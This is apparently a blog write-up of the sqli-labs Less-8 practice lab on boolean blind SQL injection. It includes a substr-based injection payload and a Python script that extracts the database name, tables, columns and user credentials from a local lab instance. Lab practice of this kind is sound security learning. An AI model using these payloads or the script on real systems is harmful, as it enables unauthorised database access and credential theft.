当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:06:00 【It's always late at night.】
First judge whether it is a number or a character 

It's still OK to add characters to numbers , It's character type . Try again to construct . Because this time, it will only return whether it is correct or not , So consider blind injection .
First judge the length of the database 
Then judge the database name

It used to
substr( Content ,n,m) From the content of the first n Bit interception m individual length() There is another key sql sentence
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
The workload is a little heavy , You can consider burp suite Or use a script
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
# Database length
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
# Database name
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
# Database table name
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
# Database field name
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
# Database tuple
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

There for all to see , Bloggers are too weak to program , To be improved .
边栏推荐
- Why did you win the first Taosi culture award of 20000 RMB if you are neither a top R & D expert nor a sales Daniel?
- 小程序- view中多个text换行
- 建立自己的网站(21)
- 队列的基本操作(C语言实现)
- B站被骂上了热搜。。
- Summary of 20 practical typescript single line codes
- Introduction to distributed transactions (Seata)
- 【Flask】Flask启程与实现一个基于Flask的最小应用程序
- Dragon lizard community open source coolbpf, BPF program development efficiency increased 100 times
- 3.4 data query in introduction to database system - select (single table query, connection query, nested query, set query, multi table query)
猜你喜欢

Tdengine connector goes online Google Data Studio app store

Use lambda function URL + cloudfront to realize S3 image back to source

【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板

QT community management system

Yan Rong looks at how to formulate a multi cloud strategy in the era of hybrid cloud

After being laid off for three months, the interview ran into a wall everywhere, and the mentality has begun to collapse

Use the right scene, get twice the result with half the effort! Full introduction to the window query function and usage scenarios of tdengine

2022上半年英特尔有哪些“硬核创新”?看这张图就知道了!

用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍

被裁三个月,面试到处碰壁,心态已经开始崩了
随机推荐
Tdengine connector goes online Google Data Studio app store
In depth cooperation | Taosi data cooperates with changhongjia Huawei customers in China to provide tdengine with powerful enterprise level products and perfect service guarantee
程序设计的基本概念
光環效應——誰說頭上有光的就算英雄
WebSocket(简单体验版)
Use lambda function URL + cloudfront to realize S3 image back to source
Collation and review of knowledge points of Microcomputer Principle and interface technology - pure manual
C语言基础知识
【IoT毕设.上】STM32+机智云AIoT+实验室安全监控系统
Six years of technology iteration, challenges and exploration of Alibaba's globalization and compliance
【商业终端仿真解决方案】上海道宁为您带来Georgia介绍、试用、教程
Play with mongodb - build a mongodb cluster
Build your own website (21)
百度上找的期货公司安全吗?期货公司怎么确定正规
C language course design topic
Oracle-数据库对象的使用
2022年PMP项目管理考试敏捷知识点(6)
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
When you really learn databinding, you will find "this thing is really fragrant"!
Applet - multiple text line breaks in view